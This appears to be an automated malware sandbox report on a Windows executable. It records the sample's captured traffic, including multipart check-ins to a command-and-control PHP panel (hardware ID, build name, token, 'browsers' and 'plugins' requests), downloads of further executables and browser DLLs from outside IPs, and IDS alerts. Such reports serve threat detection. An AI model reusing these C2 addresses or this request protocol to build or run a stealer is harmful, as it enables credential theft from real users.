Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKJEHJKJEBGHJJKEBGIEHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 38 30 33 36 31 36 45 43 34 36 39 33 31 39 36 39 33 34 38 38 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 2d 2d 0d 0a Data Ascii: ------JKJEHJKJEBGHJJKEBGIEContent-Disposition: form-data; name="hwid"7803616EC4693196934881------JKJEHJKJEBGHJJKEBGIEContent-Disposition: form-data; name="build"stok------JKJEHJKJEBGHJJKEBGIE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJDHCFCBGIDGHJJKJJDGHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 44 48 43 46 43 42 47 49 44 47 48 4a 4a 4b 4a 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 39 64 37 64 31 62 39 63 32 63 32 63 64 31 62 35 31 62 30 64 32 36 30 31 36 63 39 34 66 39 39 66 63 34 35 61 65 31 61 61 64 66 30 65 39 66 37 33 37 34 39 38 30 31 35 34 32 32 64 34 39 31 63 65 37 31 38 34 37 65 33 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 48 43 46 43 42 47 49 44 47 48 4a 4a 4b 4a 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 48 43 46 43 42 47 49 44 47 48 4a 4a 4b 4a 4a 44 47 2d 2d 0d 0a Data Ascii: ------HJDHCFCBGIDGHJJKJJDGContent-Disposition: form-data; name="token"49d7d1b9c2c2cd1b51b0d26016c94f99fc45ae1aadf0e9f737498015422d491ce71847e3------HJDHCFCBGIDGHJJKJJDGContent-Disposition: form-data; name="message"browsers------HJDHCFCBGIDGHJJKJJDG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKFCFBKFCFBFIDGCGDHJHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 46 43 46 42 4b 46 43 46 42 46 49 44 47 43 47 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 39 64 37 64 31 62 39 63 32 63 32 63 64 31 62 35 31 62 30 64 32 36 30 31 36 63 39 34 66 39 39 66 63 34 35 61 65 31 61 61 64 66 30 65 39 66 37 33 37 34 39 38 30 31 35 34 32 32 64 34 39 31 63 65 37 31 38 34 37 65 33 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 43 46 42 4b 46 43 46 42 46 49 44 47 43 47 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 43 46 42 4b 46 43 46 42 46 49 44 47 43 47 44 48 4a 2d 2d 0d 0a Data Ascii: ------KKFCFBKFCFBFIDGCGDHJContent-Disposition: form-data; name="token"49d7d1b9c2c2cd1b51b0d26016c94f99fc45ae1aadf0e9f737498015422d491ce71847e3------KKFCFBKFCFBFIDGCGDHJContent-Disposition: form-data; name="message"plugins------KKFCFBKFCFBFIDGCGDHJ--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFCAFIIDHIDGHIECGDGIHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 43 41 46 49 49 44 48 49 44 47 48 49 45 43 47 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 39 64 37 64 31 62 39 63 32 63 32 63 64 31 62 35 31 62 30 64 32 36 30 31 36 63 39 34 66 39 39 66 63 34 35 61 65 31 61 61 64 66 30 65 39 66 37 33 37 34 39 38 30 31 35 34 32 32 64 34 39 31 63 65 37 31 38 34 37 65 33 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 41 46 49 49 44 48 49 44 47 48 49 45 43 47 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 41 46 49 49 44 48 49 44 47 48 49 45 43 47 44 47 49 2d 2d 0d 0a Data Ascii: ------KFCAFIIDHIDGHIECGDGIContent-Disposition: form-data; name="token"49d7d1b9c2c2cd1b51b0d26016c94f99fc45ae1aadf0e9f737498015422d491ce71847e3------KFCAFIIDHIDGHIECGDGIContent-Disposition: form-data; name="message"fplugins------KFCAFIIDHIDGHIECGDGI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDAAKKEHDHCAAAKFCBAKHost: 185.215.113.206Content-Length: 6323Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 38 34 33 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018430001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 38 34 33 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018431001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCFCFHJDBKJKEBFHJEHIHost: 185.215.113.206Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/fate/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KECFIDGCBFBAKEBFBKFBHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 43 46 49 44 47 43 42 46 42 41 4b 45 42 46 42 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 39 64 37 64 31 62 39 63 32 63 32 63 64 31 62 35 31 62 30 64 32 36 30 31 36 63 39 34 66 39 39 66 63 34 35 61 65 31 61 61 64 66 30 65 39 66 37 33 37 34 39 38 30 31 35 34 32 32 64 34 39 31 63 65 37 31 38 34 37 65 33 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 46 49 44 47 43 42 46 42 41 4b 45 42 46 42 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 46 49 44 47 43 42 46 42 41 4b 45 42 46 42 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 46 49 44 47 43 42 46 42 41 4b 45 42 46 42 4b 46 42 2d 2d 0d 0a Data Ascii: ------KECFIDGCBFBAKEBFBKFBContent-Disposition: form-data; name="token"49d7d1b9c2c2cd1b51b0d26016c94f99fc45ae1aadf0e9f737498015422d491ce71847e3------KECFIDGCBFBAKEBFBKFBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KECFIDGCBFBAKEBFBKFBContent-Disposition: form-data; name="file"------KECFIDGCBFBAKEBFBKFB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJEGDBKFIJDAKFIDGHJEHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 45 47 44 42 4b 46 49 4a 44 41 4b 46 49 44 47 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 39 64 37 64 31 62 39 63 32 63 32 63 64 31 62 35 31 62 30 64 32 36 30 31 36 63 39 34 66 39 39 66 63 34 35 61 65 31 61 61 64 66 30 65 39 66 37 33 37 34 39 38 30 31 35 34 32 32 64 34 39 31 63 65 37 31 38 34 37 65 33 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 47 44 42 4b 46 49 4a 44 41 4b 46 49 44 47 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 47 44 42 4b 46 49 4a 44 41 4b 46 49 44 47 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 47 44 42 4b 46 49 4a 44 41 4b 46 49 44 47 48 4a 45 2d 2d 0d 0a Data Ascii: ------KJEGDBKFIJDAKFIDGHJEContent-Disposition: form-data; name="token"49d7d1b9c2c2cd1b51b0d26016c94f99fc45ae1aadf0e9f737498015422d491ce71847e3------KJEGDBKFIJDAKFIDGHJEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KJEGDBKFIJDAKFIDGHJEContent-Disposition: form-data; name="file"------KJEGDBKFIJDAKFIDGHJE--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 38 34 33 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018432001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/geopoxid/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: fb0aa01abe9d8e4037eb3473ca6e2dca

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49768 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49794 -> 172.67.131.246:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49787 -> 172.67.131.246:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49793 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49814 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49821 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49817 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49847 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49845 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49853 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49846 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49859 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49866 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49867 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49873 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49878 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49886 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49896 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49901 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49914 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49907 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49915 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49929 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49930 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49905 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49940 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49943 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49949 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49950 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49988 -> 172.67.177.88:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50010 -> 172.67.177.88:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49995 -> 172.67.177.88:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50024 -> 172.67.177.88:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50012 -> 172.67.177.88:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50038 -> 172.67.177.88:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50018 -> 172.67.177.88:443

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0063E0C0 recv,recv,recv,recv,

0_2_0063E0C0

Source: global traffic	HTTP traffic detected: GET /files/x3team/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /files/fate/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/geopoxid/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive

Source: firefox.exe, 0000001C.00000002.3212478847.000001C133AE3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: WHERE place_id = (SELECT id FROM moz_places WHERE url_hash = hash(:urlUpdateService:selectUpdate - skipping update because the update's application version is not greater than the current application versionhttps://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["main_frame"], urls:["://login.microsoftonline.com/", "://login.microsoftonline.us/"], windowId:null}, ["blocking"]]src=image,triggeringprincipal=iconloadingprincipal,requestcontextid,fadein,pinned,selected=visuallyselected,busy,crashed,sharing,pictureinpicturehttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/moz-extension://a581a2f1-688c-434b-8db8-16166b1993d9/shims/microsoftLogin.js equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["main_frame"], urls:["://login.microsoftonline.com/", "://login.microsoftonline.us/"], windowId:null}, ["blocking"]]src=image,triggeringprincipal=iconloadingprincipal,requestcontextid,fadein,pinned,selected=visuallyselected,busy,crashed,sharing,pictureinpicturehttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/moz-extension://a581a2f1-688c-434b-8db8-16166b1993d9/shims/microsoftLogin.js equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["main_frame"], urls:["://login.microsoftonline.com/", "://login.microsoftonline.us/"], windowId:null}, ["blocking"]]src=image,triggeringprincipal=iconloadingprincipal,requestcontextid,fadein,pinned,selected=visuallyselected,busy,crashed,sharing,pictureinpicturehttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/moz-extension://a581a2f1-688c-434b-8db8-16166b1993d9/shims/microsoftLogin.js equals www.youtube.com (Youtube)
